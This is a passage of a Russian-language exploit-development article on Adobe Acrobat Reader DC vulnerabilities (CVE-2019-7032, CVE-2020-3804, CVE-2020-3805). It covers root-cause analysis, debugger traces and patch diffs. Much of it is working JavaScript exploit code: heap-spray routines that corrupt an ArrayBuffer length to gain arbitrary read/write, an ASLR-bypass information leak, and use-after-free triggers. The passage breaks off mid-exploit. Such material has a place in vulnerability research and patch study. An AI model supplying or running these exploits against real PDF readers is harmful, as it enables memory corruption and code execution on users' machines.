4. Замените значение byteLength четвертого ArrayBuffer значением 0xFFFF. Содержимое строки, второго объекта в каждой единице, будет использоваться для перезаписи byteLength и остановки операции копирования, как только мы достигнем нашей цели. Затем перезапишите значение byteLength пятого буфера ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.

1634318179206.png


После получения глобального примитива чтения и записи мы можем выполнить поиск в обратном направлении, чтобы вычислить базовый адрес буфера резервного хранилища объекта ArrayBuffer, чтобы получить произвольный примитив чтения и записи. Мы можем выполнить поиск по двум конкретным значениям, ffeeffee или f0e0d0c0, чтобы вычислить базовый адрес.

0:014> dd 30080000 L10
30080000 16b80e9e 0101331b ffeeffee 00000002 ; ffeeffee
30080010 055a00a4 2f0b0010 055a0000 30080000 ; +0x14 -> 30080000
30080020 00000fcf 30080040 3104f000 000002e5
30080030 00000001 00000000 30d69ff0 30d69ff0
0:014> dd 305f4000 L10
305f4000 00000000 00000000 6ab08d69 0858b71a
305f4010 0bbab388 30330080 0ff00112 f0e0d0c0 ; f0e0d0c0
305f4020 15dc2c3f 00000430 305f402c d13bc929 ; +0x0C -> 305f402c
305f4030 e5c521a7 d9b264d4 919cee58 45da954e

Очень легко добиться выполнения кода, получив произвольный примитив чтения и записи. Ниже приведены оставшиеся шаги, которые не будут обсуждаться в этой статье.

- Перехват EIP

- Обход ASLR

- Обход DEP

- Обход CFG


В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.

JavaScript:
function checkState(array, blockSize) {
    var byteLength = blockSize - 8 - 0x10;
    var index = -1;
    for (var i = 0; i < array.length; i += 5) {
        if (array[i + 3].byteLength != byteLength) {
              index = i + 3;
            break;
        }
    }
    if (index == -1) {
        app.alert('exploit failed!');
        return;
    }
  
    var dv = new DataView(array[index]);
    dv.setUint32(byteLength + 12, 0xFFFFFFFF, true);
    index += 1;
    if (array[index].byteLength == -1) {
        app.alert('ArrayBuffer[' + index + '].byteLength = 0xFFFFFFFF');
    }
}
function trigger() {
    Collab.unregisterReview(string);
    checkState(array, blockSize);
}
function createArgumentString(blockSize) {
    var string = '\xFE\xFF' + 'a'.repeat(blockSize);
    return string.substr(0, blockSize - 8 - 1);
}
function createArrayBuffer(blockSize, index) {
    var ab = new ArrayBuffer(blockSize - 8 - 0x10);
    var dv = new DataView(ab);
    dv.setUint32(0, index, true);
    return ab;
}
function createHoles(blockSize, arraySize) {
    var basestring = unescape('%u4140%u4041%uFFFF%u0000');
    while (basestring.length < blockSize / 2) {
        basestring += unescape('%u9090%u9090');
    }
  
    var array = new Array(arraySize);
    for (var i = 0; i < array.length; i += 5) {
        array[i] = createArrayBuffer(blockSize, i);
        array[i + 1] = basestring.substr(0, (blockSize - 8)/2-1).toUpperCase();
        array[i + 2] = createArrayBuffer(blockSize, i + 2);
        array[i + 3] = createArrayBuffer(blockSize, i + 3);
        array[i + 4] = createArrayBuffer(blockSize, i + 4);
    }
  
    for (var i = 0; i < array.length; i += 5) {
        array[i + 2] = null;
        array[i + 2] = undefined;
        array[i] = null;
        array[i] = undefined;
    }
  
    return array;
}
var blockSize = 0x10000;
var string = createArgumentString(blockSize);
var array = createHoles(blockSize, 0x2000);
var timer = app.setTimeOut('trigger()', 1000);

5.2.4 Анализ патчей

Как обсуждалось ранее, эта уязвимость затрагивает Adobe Acrobat Reader DC 2019.012.20040 и более ранние версии, но ее можно использовать только в версиях 2019.010.20099 и более ранних.

Возможность эксплуатации уязвимости была нарушена, начиная с Adobe Acrobat Reader DC 2019.012.20034. 2 дополнительных байта NULL (всего 3) были добавлены в конец буфера кучи.

Breakpoint 0 hit
eax=60c68ff8 ebx=60c68ff8 ecx=00000003 edx=01000002 esi=60dc4ff8 edi=00000000
eip=778cecdd esp=005fd480 ebp=005fd494 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Annots!PlugInMain+0x5c37d:
778cecdd 55 push ebp
0:000> dd esp l4
005fd480 7787ac27 60dc4ff8 7fffffff 60c68ff8
0:000> db poi(esp+c) L10
60c68ff8 fe ff 00 00 00 d0 d0 d0-?? ?? ?? ?? ?? ?? ?? ?? ........????????
0:000> !heap -p -a poi(esp+c)
address 60c68ff8 found in
_DPH_HEAP_ROOT @ 8f1000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
60ba2820: 60c68ff8 5 - 60c68000 2000
// ......
74afa9f6 ucrtbase!_malloc_base+0x00000026
5756fcc9 AcroRd32!AcroWinMainSandbox+0x00003ec9
50392c22 EScript!PlugInMain+0x000010b2
50396b06 EScript!PlugInMain+0x00004f96
503cf58d EScript!mozilla::HashBytes+0x0002eb5d ; sub_2383F4F8
503cf4d9 EScript!mozilla::HashBytes+0x0002eaa9
57e61e7d AcroRd32!AIDE::PixelPartInfo::operator=+0x0014ce5d
7797ba8e Annots!PlugInMain+0x0010912e
7798f84d Annots!PlugInMain+0x0011ceed
// ......

Изменения были внесены в функцию sub_2383F4F8 в EScript.api.

C:
void *__cdecl sub_2383F4F8(int a1, int a2) {
  // --------------------------- cut ---------------------------
  if ( string ) {
    length = ASstrnlen_safe(string, 0x7FFFFFFFu, 0);
    if ( length < 0xFFFFFFFC ) {
      buffer = calloc(1, length + 3);   // put 3 '\x00' at the end
      memcpy(buffer, string, length);
    }
  }
  // --------------------------- cut ---------------------------
}

Патч работает только для предотвращения использования уязвимости. Исходный файл POC все еще может привести к сбою процесса, поскольку буфер целевой кучи был недостаточно велик для хранения признака конца строки Unicode.

C:
// src <- arg of unregisterReview / unregisterApproval
// src = "\xFE\xFF......"
size_t len = ASstrnlen_safe(src, 0x7FFFFFFF, 0);    // ANSI Function
char* dst = (char *)malloc(len + 1);    // only sufficient for ANSI string
strcpy_safe(dst, 0x7FFFFFFF, src, 0);   // Generic API -> Unicode Function

Уязвимость была окончательно устранена в Adobe Acrobat Reader DC 2019.021.20047. Это было исправлено путем выделения 2 дополнительных байтов для целевого буфера кучи для хранения признака конца строки Unicode.

Breakpoint 0 hit
eax=8062cff8 ebx=8062cff8 ecx=00000000 edx=00000004 esi=7a0a0ff8 edi=00000004
eip=56a6ec3d esp=006fcc3c ebp=006fcc50 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
Annots!PlugInMain+0x5bf9d:
56a6ec3d 55 push ebp
0:000> dd esp l4
006fcc3c 56a1af47 7a0a0ff8 7fffffff 8062cff8
0:000> !heap -p -a poi(esp+4)
address 7a0a0ff8 found in
_DPH_HEAP_ROOT @ a31000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
79f93f70: 7a0a0ff8 4 - 7a0a0000 2000
// ......
74afa9f6 ucrtbase!_malloc_base+0x00000026
574b1939 AcroRd32!AcroWinMainSandbox+0x000040d9
56a3a53f Annots!PlugInMain+0x0002789f ; sub_2212A50B
56a3a35d Annots!PlugInMain+0x000276bd
56b20c9c Annots!PlugInMain+0x0010dffc
56b3485d Annots!PlugInMain+0x00121bbd
57203681 EScript!mozilla::HashBytes+0x00042d01 // ......

Изменения внесены в функцию sub_2212A50B в Annots.api.

C:
void *__cdecl sub_2212A50B(char *src) {
  // --------------------------- cut ---------------------------
  signed int bytes = strnlen_safe(src, 0x7FFFFFFF, 0);
  void *dst = malloc(bytes + 2);
  memset(dst, 0, bytes + 2);
  strcpy_safe_wrapper(dst, src);
  // --------------------------- cut ---------------------------
}
int __cdecl strcpy_safe_wrapper(int dst, int src) {
  return strcpy_safe(dst, 0x7FFFFFFF, src, 0);
}

5.3 CVE-2020-3804

5.3.1 Описание уязвимости


CVE-2020-3804 - это уязвимость чтения за пределами границ, которую можно использовать для раскрытия информации в обход ASLR. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.

5.3.2 Анализ первопричин

Как обсуждалось ранее, символ спецификации всегда будет в начале строки. В другие места ставить его бессмысленно. Adobe Acrobat Reader DC будет рассматривать строки, которые содержат символ спецификации в других местах, как недопустимые. Код, отвечающий за проверку символа спецификации, можно найти в функции sub_2385B3A9 в EScript.api.

C:
int __cdecl sub_2385B3A9(int a1, int str_obj) {
  if ( !str_obj ) return 0;
  wchar_t *str = sub_2383E8D0(a1, str_obj);             // string data pointer
  unsigned int len = sub_2383E929((_DWORD *)str_obj);   // string length
  bool is_unicode = 0;
  if ( len ) {
    int index = 1;
    if ( len >= 2 )
      is_unicode = *str == 0x00FF && str[1] == 0x00FE ||
                   *str == 0x00FE && str[1] == 0x00FF;
    if ( len - 1 > 1 ) {
      wchar_t *remaining = str + 2;
      do {
        wchar_t e = *(remaining - 1);
        if ( e == 0x00FF ) {
          if ( *remaining == 0x00FE ) return 0;
        }
        if ( e == 0x00FE && *remaining == 0x00FF ) return 0;
        ++index;
        ++remaining;
      } while ( index < len - 1 );
    }
  }
  // --------------------------- cut ---------------------------
}

При обработке недопустимых строк такого типа в Adobe Acrobat Reader DC возникает исключение. Например, исключение JavaScript будет выброшено в базовой функции console.println при выполнении следующего кода JavaScript.

// Tested on Adobe Acrobat Reader DC 2020.006.20034
console.show();
console.println('[\xFE\xFF]');


Следующее сообщение об исключении будет напечатано в окне консоли.

TypeError: Invalid argument type.
Console.println:2:Doc undefined:Open

===> Parameter cMessage.


Все выглядит прекрасно. Но прежде чем углубляться в детали уязвимости, давайте выясним, как было создано сообщение об ошибке. Здесь мы напечатаем имена свойств и значения свойств объектов Error и Event в ветке catch.

JavaScript:
console.show();
function dumpObject(o) {
    for (var p in o) {
        console.println(p + ':' + typeof(o[p]) + ' = ' + o[p]);
    }
}
try {
    console.println('[\xFF\xFE]');
} catch(e) {
    console.println('---- Error Object ----');
    dumpObject(e);
    console.println('---- Event Object ----');
    dumpObject(event);
}

Следующее сообщение будет напечатано в окне консоли.
---- Error Object ----
name:string = TypeError
message:string = Invalid argument type.
extMessage:string = TypeError: Invalid argument type.
Console.println:10:Doc undefined:Open
===> Parameter cMessage.
fileName:string = Doc undefined:Open
lineNumber:number = 10
number:number = 1
columnNumber:number = 4
---- Event Object ----
target:object = [object Doc]
name:string = Open
type:string = Doc
source:object = null
rc:boolean = true

Похоже, что некоторые значения объекта Error были созданы на основе объекта Event. Это верно для Adobe Acrobat Reader DC, и во время создания объекта Error может сработать уязвимость чтения за пределами допустимого диапазона.

Уязвимость может быть вызвана следующим кодом JavaScript. Последняя строка использовалась для вызова исключения. Фактически, вы можете использовать другие методы, чтобы вызвать уязвимость. Просто не забудьте убедиться, что исключение должно исходить от внутренней реализации кода. Вы не можете активировать уязвимость, вызвав исключение напрямую, потому что оно будет работать с разными путями кода.

event.__defineGetter__('type', function() {
return '\xFE\xFF---event-type';
});
console.println('[\xFE\xFF]');

Процесс завершился с ошибкой на EScript!Mozilla::HashBytes + 0x49f4d из-за чтения вне пределов.

(259c.1bd0): Access violation - code c0000005 (!!! second chance !!!)
eax=25e82fc0 ebx=25e82fc0 ecx=25e83000 edx=00000000 esi=00000040 edi=7fffffff
eip=6124a98d esp=008fbca0 ebp=008fbcac iopl=0 nv up ei ng nz ac pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297
EScript!mozilla::HashBytes+0x49f4d:
6124a98d 8a01 mov al,byte ptr [ecx] ds:002b:25e83000=??

Здесь поддельная строка Unicode, свойство fileName объекта Error, обрабатывалась в функции miUCSStrlen_safe.

0:000> db ecx-40 L50
25e82fc0 fe ff 2d 2d 2d 65 76 65-6e 74 2d 74 79 70 65 00 ..---event-type.
25e82fd0 20 75 6e 64 65 66 69 6e-65 64 3a 4f 70 65 6e 00 undefined:Open.
25e82fe0 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
25e82ff0 c0 c0 c0 c0 c0 c0 c0 c0-c0 c0 c0 c0 c0 c0 c0 c0 ................
25e83000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

Чтение за пределами границ может быть инициировано, поскольку строка ANSI обрабатывалась таким образом, что терминатор Unicode не может быть найден.

Эта уязвимость немного отличалась от предыдущих. Размер буфера кучи был намного больше, чем длина строки, а оставшиеся байты были неинициализированы (заполнены с помощью c0, когда куча страниц была включена). Уязвимости не будет, если куча была инициализирована (заполнена 00).

Продолжим анализ по информации трассировки стека распределения кучи.

0:000> !heap -p -a ecx
address 25e83000 found in
_DPH_HEAP_ROOT @ a21000
in busy allocation (DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
aff3ea0: 25e82fc0 40 - 25e82000 2000
// ......
74b00d50 ucrtbase!_realloc_base+0x00000030
6150bcb2 AcroRd32!AcroWinMainSandbox+0x0001dd92
61230e6e EScript!mozilla::HashBytes+0x0003042e
61237070 EScript!mozilla::HashBytes+0x00036630

Информация трассировки стека указывает, что буфер кучи был выделен функцией realloc, что объясняет, почему буфер кучи был неинициализирован. Фрейм стека EScript!Double_conversion:: DoubleToStringConverter::CreateDecimalRepresentation + 0x0 00447ce находился в функции sub_238AF3A0, которая отвечала за создание объекта Error.

В следующем коде показано, как было создано свойство fileName объекта Error.

C:
signed __int16 __cdecl sub_238AF3A0(int a1, int a2, int a3, int a4, int a5) {
  // --------------------------- cut ---------------------------
      property = sub_2383EB30(v46, 1);
      type = box_js_string(sub_23841DB0(event_object), 1, "type");
      if ( read_property(event_object, type, property) ) {
        string_copy(error_filename, unbox_js_string(property, 1), 0);
      }
    
      string_append(error_filename, " ");
      target_name = box_js_string(sub_23841DB0(event_object), 1, "targetName");
      if ( read_property(event_object, target_name, property) ) {
        string_append(error_filename, unbox_js_string(property, 1));
      } else {
        string_append(error_filename, "?");
      }
    
      string_append(error_filename, ":");
      name = box_js_string(sub_23841DB0(event_object), 1, "name");
      if ( read_property(event_object, name, property) ) {
        string_append(error_filename, unbox_js_string(property, 1));
      } else {
        string_append(error_filename, "?");
      }
  // --------------------------- cut ---------------------------
}

Здесь был создан буфер кучи для хранения содержимого Error.fileName. Размер буфера кучи был инициализирован равным 0x20 и будет изменяться динамически. Например, размер будет удвоен, если исходный буфер кучи был слишком мал для хранения содержимого при вызове string_copy или string_append. За этот процесс отвечает функция sub_23846F9A, и для создания нового буфера кучи будет вызвана функция realloc.

|-- string_copy or string_append
|-- sub_23846F9A
|-- realloc


Хотя исходный буфер кучи при создании был заполнен нулями, вновь созданный буфер кучи, возвращенный функцией realloc, не будет заполнен нулями. Чтение вне пределов может быть инициировано при обработке содержимого позже в функции sub_238AF3A0. Следующий код показывает информацию трассировки стека при сбое процесса.

C:
0:000> k
 # ChildEBP RetAddr
00 052fbd8c 643630c7 EScript!mozilla::HashBytes+0x49f4d
01 052fbda0 6439f144 EScript!PlugInMain+0x1547
02 052fbdd0 6439f0a9 EScript!mozilla::HashBytes+0x2e704
03 052fbdec 6439f085 EScript!mozilla::HashBytes+0x2e669
04 052fbe08 643a1f3e EScript!mozilla::HashBytes+0x2e645
05 052fbe48 643a1ee2 EScript!mozilla::HashBytes+0x314fe
06 052fbe64 6440f333 EScript!mozilla::HashBytes+0x314a2
......

5.3.3 Разработка эксплойтов

Эту уязвимость можно использовать для раскрытия информации в обход ASLR. Выглядит почти так же, как CVE-2019-7032. Следующий код показывает упрощенную модель уязвимости.

C:
// src <- constructed fileName string for Error object
// src = "\xFE\xFF......"
size_t len = strnlen_safe(src, 0x7FFFFFFF, 0);  // Out-Of-Bounds Read
char* dst = (char *)malloc(len);
swab((char*)src + 2, dst, len);     // "\xFE\xFF" will be skipped
// Error.fileName <- dst

Чтобы воспользоваться этой уязвимостью, мы должны найти объект XFA с определенным размером, который может быть только 0x20, 0x40, 0x80 и т.д. Размер contentArea объекта XFA был точно равен 0x80 в Adobe Acrobat Reader DC 2019.021.20061 и более ранних версиях. Обратите внимание, что размер объекта contentArea был изменен на 0x84, начиная с Adobe Acrobat Reader DC 2020.006.20034. Вам нужно найти другой подходящий объект, если вы хотите написать эксплойт для версии 2020.006.20034. Для удобства в данном документе в качестве цели для использования выбрана версия 2019.021.20061.

; contentArea object
0:017> dd 92f78f80 L90/4
92f78f80 7e3ea868 00000004 92fa0fe8 7e546268
92f78f90 00000045 c0c0c0c0 c0c0c0e0 51ac6fe0
92f78fa0 8c412f80 00000000 92f76fb0 c0c0c0c2
92f78fb0 63fbad88 9156cfd8 00000000 00000000
92f78fc0 7e2a49e0 4c876f80 00000000 c0c0c0c0
92f78fd0 7e2a49e0 00000000 c0c0c0c0 c0c0c0c0
92f78fe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 00000000
92f78ff0 00000003 00000000 00000000 00000000
92f79000 ???????? ???????? ???????? ????????
0:017> ?poi(92f78f80) - acroform
Evaluate expression: 9218152 = 008ca868

В следующем коде показано, как использовалась уязвимость для обхода ASLR.

JavaScript:
function createArrayBuffer(count, heapSize) {
    var array = new Array(count);
    for (var i = 0; i < array.length; ++i) {
        array[i] = new ArrayBuffer(heapSize - 0x10);
    }
        return array;
}
function gc() {
    var maxMallocBytes = 128 * 1024 * 1024;
    for (var i = 0; i < 10; i++) {
        var x = new ArrayBuffer(maxMallocBytes);
    }
}
Array.prototype.fill = function(value) {
    for (var i = 0; i < this.length; ++i) {
        this[i] = value;
    }
};
String.prototype.hex2val = function() {
    var value = '';
    for (var i = 3; i >= 0; --i) {
        value += this.substring(i * 2, i * 2 + 2);
    }
    return parseInt(value, 16);
};
function leakInformation() {
    event.__defineGetter__('type', function() {
        return '\xFE\xFF[HelloAdobeReader][SoHardToExploit][ReallySad]';
    });
  
    // ------------------- initialize variables -------------------
    var abArray = new Array(0x2000);
    abArray.fill(0);
    var xfaArray = new Array(0x1000);
    xfaArray.fill(0);
    var fillArray = new Array(0x1000);
    fillArray.fill(0);
  
    var ab = new ArrayBuffer(0x80 - 0x10);
    var u32a = new Uint32Array(ab);
    Array.prototype.fill.call(u32a, 0x41414141);
    for (var i = 0; i < abArray.length; ++i) {
        abArray[i] = ab.slice();
    }
  
    var contentArea = xfa.resolveNode(
        'xfa.form.#subform[0].#pageSet[0].#pageArea[0].#contentArea[0]');
  
    // --------------- free half ArrayBuffer objects --------------
    for (var i = 0; i < abArray.length; i += 2) {
        delete(abArray[i]);
        abArray[i] = null;
        abArray[i] = undefined;
    }
    gc();
  
    // ---------- fill the holes with contentArea objects ---------
    for (var i = 0; i < xfaArray.length; ++i) {
        xfaArray[i] = contentArea.clone(1);
          }
  
    // ------------ free remaining ArrayBuffer objects ------------
    for (var i = 1; i < abArray.length; i += 2) {
        abArray[i] = null;
    }
    gc();
  
    // ------------- try to trigger the vulnerability -------------
    for (var i = 0; i < fillArray.length; ++i) {
        fillArray[i] = ab.slice();
        try {
            console.println('[\xFE\xFF]');
        } catch(e) {
            var stream = util.streamFromString(e.fileName, 'utf-16BE');
            var string = stream.read();
            var pos = (0x80 - 2 + 8) * 2;
            if (string.length > pos) {
                var value = string.substring(pos, pos + 8).hex2val();
                if ((value & 0xFFFF) == (vptrOffset & 0xFFFF)) {
                    return value - vptrOffset;
                }
            }
        }
    }
    return -1;
}
var vptrOffset = 0x008ca868; // Adobe Acrobat Reader DC 2019.021.20061
var memArray = createArrayBuffer(0x1000, 0xFFF8);
var address = leakInformation();
app.alert('AcroForm.api at 0x' + address.toString(16));

5.3.4 Анализ патчей

Уязвимость была исправлена в Adobe Acrobat Reader DC 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13. Она было исправлено путем выделения нового буфера кучи для хранения содержимого Error.fileName и помещения 4 байтов NULL в конец буфера кучи, если содержимое было строкой Unicode.

Изменения были внесены в функцию sub_238AF3A0 в EScript.api.

1

5.4 CVE-2020-3805

5.4.1 Описание уязвимости


CVE-2020-3805 - это уязвимость Use-After-Free, которую можно использовать для выполнения кода. Она влияет на Adobe Acrobat Reader DC 2020.006.20034 и более ранние версии и была исправлена в 2020.006.20042 с помощью рекомендаций по безопасности APSB20-13.

5.4.2 Анализ первопричин

Эта уязвимость может быть вызвана следующим кодом JavaScript.

JavaScript:
// Tested on Adobe Acrobat Reader DC 2020.006.20034
var name='\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
this.addField(name, 'text', 0, [10, 20, 30, 40]);
this.addField(name, 'text', 0, [10, 20, 30, 40]);
this.resetForm();

Процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f из-за Use-After-Free.

(82c.2894): Access violation - code c0000005 (!!! second chance !!!)
eax=313cce48 ebx=0000000d ecx=0010000d edx=39f5efe8 esi=37998fb0 edi=3e5abfb0
eip=6125c69f esp=001ec694 ebp=001ec6c0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
AcroForm!hb_set_invert+0xc485f:
6125c69f ff770c push dword ptr [edi+0Ch] ds:002b:3e5abfbc=????????

Здесь объект текстового поля, назовем его field1, был создан при первом вызове this.addField. Поле field1 будет помечено как Dead при повторном вызове this.addField. Внутренний объект свойства Field будет освобожден, когда объект поля был помечен как Dead. Когда процесс завершился с ошибкой в AcroForm!Hb_set_invert + 0xc485f, регистр edi указывал на освобожденный внутренний объект свойства Field, хотя он не принадлежал field1.

0:000> !heap -p -a edi
address 3e5abfb0 found in
_DPH_HEAP_ROOT @ 611000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
46930270: 3e5ab000 2000
......
7702e558 ucrtbase!free+0x00000018
62dd4af9 AcroRd32!AcroWinMainSandbox+0x00006bd9
6125ed72 AcroForm!hb_set_invert+0x000c6f32
6125f098 AcroForm!hb_set_invert+0x000c7258
6125ef54 AcroForm!hb_set_invert+0x000c7114
6125dc8f AcroForm!hb_set_invert+0x000c5e4f
6125cfea AcroForm!hb_set_invert+0x000c51aa
6125cdbf AcroForm!hb_set_invert+0x000c4f7f
6125c49f AcroForm!hb_set_invert+0x000c465f
62f428c6 AcroRd32!DllCanUnloadNow+0x001252d6
62f423c6 AcroRd32!DllCanUnloadNow+0x00124dd6
614194a9 AcroForm!DllUnregisterServer+0x000671f9
6136ef80 AcroForm!hb_ot_tag_to_language+0x000591e0 ; this.addField
......

Освобожденный внутренний объект свойства Field будет повторно использован при вызове this.resetForm.

0:000> k
# ChildEBP RetAddr
00 001ec6c0 6148443f AcroForm!hb_set_invert+0xc485f
01 001ec750 6142a6ad AcroForm!DllUnregisterServer+0xd218f
02 001ec844 61375435 AcroForm!DllUnregisterServer+0x783fd
03 001eccf8 60524df5 AcroForm!hb_ot_tag_to_language+0x5f695 ; this.resetForm
04 001ece40 60508588 EScript!mozilla::HashBytes+0x443b5......

Откровенно говоря, эта уязвимость немного сложнее предыдущих. Основная причина этого не будет обсуждаться в этой статье.

5.4.3 Разработка эксплойтов

Управлять регистром EIP, используя эту уязвимость, несложно. Здесь будет подробно обсуждаться общий метод использования уязвимостей типа Use-After-Free в отношении полевых объектов. Хотя он работает только в Adobe Acrobat Reader DC 2019.012.20040 и более ранних версиях, он может помочь нам добиться выполнения кода за счет эксплуатации самой уязвимости Use-After-Free. Впервые этот метод был опубликован на GitHub (CVE-2019-8039.js) @PTDuy из STARLabs.

Уязвимость можно воспроизвести в Adobe Acrobat Reader DC 2019.012.20040 с помощью следующего кода JavaScript.

JavaScript:
// Tested on Adobe Acrobat Reader DC 2019.012.20040
var name='\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
var field = this.addField(name, 'text', 0, [10, 20, 30, 40]);
var value = {
    toString: function() {
        app.doc.addField(name, 'text', 0, [10, 20, 30, 40]);
        return 'test';
    },
};
field.userName = value;

Код выглядит почти так же, как и традиционные коды Use-After-Free. Здесь внутренний объект свойства Field для поля переменной будет освобожден во время присвоения свойства userName, и процесс завершится сбоем из-за Use-After-Free.

Однако мы воспользуемся уязвимостью, используя свойство calcOrderIndex вместо других свойств. Следующий текст описывает, как работает свойство calcOrderIndex.

calcOrderIndex

Изменяет порядок вычисления полей в документе. Когда в документ добавляется вычислимый текст или поле со списком, имя поля добавляется к массиву порядка вычислений. Массив порядка вычислений определяет, в каком порядке вычисляются поля. Свойство calcOrderIndex работает аналогично вкладке Calculate, используемой инструментом Acrobat Form.


Ниже приведен псевдокод функции установки свойства calcOrderIndex.

C:
// sub_20A571F0 in AcroForm.api / Adobe Acrobat Reader DC 2019.012.20040
int __cdecl field_calcOrderIndex_setter(
    int field_object, int property_name, int new_index_jsobj) {
  // --------------------------- cut ---------------------------
  if ( get_object_property(field_object, "Dead") ) {
    return throw_javascript_exception(field_object, property_name, 0, 13, 0);
  }
  if ( sub_20A4F354(field_object) == 0) {
    return throw_javascript_exception(field_object, property_name, 0, 11, 0);
  }
  internal_field = get_object_property(field_object, "Field");
  if ( internal_field ) {
    name_list = get_name_list(*(_DWORD**)(*(_DWORD*)(internal_field + 4) + 4));
    field_name = get_string(*(_DWORD *)(internal_field + 32));
    old_index = get_name_index(name_list, field_name);
    new_index = unbox_js_value(new_index_jsobj);
    if ( old_index >= 0 && new_index >= 0 && old_index != new_index ) {
      rearrange_namelist(name_list, new_index, internal_field);
      if ( old_index > new_index ) ++old_index;
      remove_original_name(name_list, old_index);
    }
  }
  return 1;
}

Хотя код будет проверять, был ли объект поля мертвым или нет, это не могло предотвратить срабатывание уязвимости, поскольку объект поля будет помечен как мертвый во время вызова функции unbox_js_value для получения необработанного значения параметра new_index_jsobj.

Для реализации поведения, описанного в стандартном документе, для хранения имен полевых объектов использовался строковый массив. Индекс имени определяет порядок вычисления полевого объекта. Когда значение свойства calcOrderIndex было изменено на другое значение, элементы строкового массива должны быть соответствующим образом скорректированы.

Следующий код показывает, как был настроен массив строк.

C:
struct StringArray {
    int length;
    int capacity;
    int *string;    // address array
};
void __cdecl rearrange_namelist(  // sub_20A75118
    StringArray *array, int new_index, int internal_field) {
  if ( array ) {
    if ( internal_field ) {
      int index = new_index;
      if ( new_index >= 0 ) {
        if ( new_index > array->length ) index = array->length;
        realloc_if_needed(array, array->length + 1);
        for ( int i = array->length++; i > index; --i )
          array->string[i] = array->string[i - 1];
        StringStruct *field_name = *(_DWORD *)(internal_field + 32);
        int length = get_string_length(field_name);
        array->string[index] = malloc(length + 2);
        char* buffer = get_string_buffer(field_name);
        strcpy_safe(array->string[index], 0x7FFFFFFF, buffer, 0);
      }
    }
  }
}

Важнейшей частью было то, что при вставке имени поля будет создан буфер кучи и будет вызываться strcpy_safe для копирования строки имени. Мы можем управлять содержимым объекта internal_field при срабатывании уязвимости, чтобы можно было полностью контролировать содержимое объекта field_name.

C:
struct StringStruct {
    int type;
    char *buffer;
    int length;
    int capacity;
    int unknown1;
    int unknown2;
};

Мы можем создать объект StringStruct и установить длину меньше фактической длины буфера, чтобы мы могли запускать запись вне границ при вызове strcpy_safe. Затем мы можем перезаписать член byteLength объекта ArrayBuffer на 0xFFFFFFFF, чтобы получить глобальный примитив чтения и записи.

Как обсуждалось ранее, это общий метод использования уязвимостей типа Use-After-Free, связанных с полевыми объектами. Вы можете добиться выполнения кода, если освободите внутренний объект свойства Field объекта поля.

В следующем коде показано, как была использована уязвимость для перезаписи byteLength ArrayBuffer значения 0xFFFFFFFF.

JavaScript:
var bigArrayBuffers, smallArrayBuffers;
var bigByteLength = 0x10000 - 8 - 0x10;
var smallByteLength = 0x8000 - 8 - 0x10;
var predictableAddress = 0x10100058;
var baseString, stringArray;
var freedHeapSize = 0x60;
function gc() {
    for (var i = 0; i < 10; ++i) {
        var x = new ArrayBuffer(1024 * 1024 * 32);
    }
}
function valueToString(value) {
    return String.fromCharCode(value & 0xFFFF) +
        String.fromCharCode(value >> 16);
}
function createBaseString(length, value) {
    var string = valueToString(value);
    while (string.length < length) {
        string += string;
    }
    return string;
}
function fillLowerAddressMemory(count) {
    var array = new Array(count);
    array[0] = new ArrayBuffer(bigByteLength);
    var dv = new DataView(array[0]);
  
    // generate fake string structure
    dv.setUint32(4, predictableAddress + 0x100, true);  // string address
    dv.setUint32(8, smallByteLength + 0x10 - 2, true);  // string length
  
    // string data
    var beg = 0x100;
    var end = beg + smallByteLength + 0x10 + 8 + 8;
    for (var i = beg; i < end; ++i) {
        dv.setUint8(i, 0xFF);
    }
  
    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}
function sprayString(count, heapSize) {
    var array = new Array(count);
    for (var i = 0; i < array.length; ++i) {
        array[i] = baseString.substring(0, heapSize / 2 - 1).toUpperCase();
    }
    if (!stringArray) {
            stringArray = [];
    }
    stringArray.push(array);
}
function sprayArrayBuffer(count, byteLength) {
    var array = new Array(count);
    array[0] = new ArrayBuffer(byteLength);
    var dv = new DataView(array[0]);
    dv.setUint32(0, 0x40414140, true);
  
    for (var i = 1; i < array.length; ++i) {
        array[i] = array[0].slice();
    }
    return array;
}
function createHoles(array) {
    for (var i = 0; i < array.length; i += 2) {
        array[i] = null;
        array[i] = undefined;
    }
    return array;
}
function triggerUAF() {
    var name =
'\xFE\xFF\x0A\x1B\x2A\x65\xF0\x75\x9C\x31\x1E\x4C\x9B\xAD\x37\x2E\xAC';
    var f1 = this.addField(name, 'text', 0, [10, 20, 30, 40]);
    f1.setAction('Calculate', 'var dummy');
    var f2 = this.addField('f2', 'text', 0, [50, 60, 70, 80]);
    f2.setAction('Calculate', 'var dummy');
  
    var value = {
        valueOf: function() {
            app.doc.addField(name, 'text', 0, [10, 20, 30, 40]);
            sprayString(0x1000, freedHeapSize);
            gc();
            sprayString(0x1000, freedHeapSize);
            smallArrayBuffers = sprayArrayBuffer(0x2000, smallByteLength);
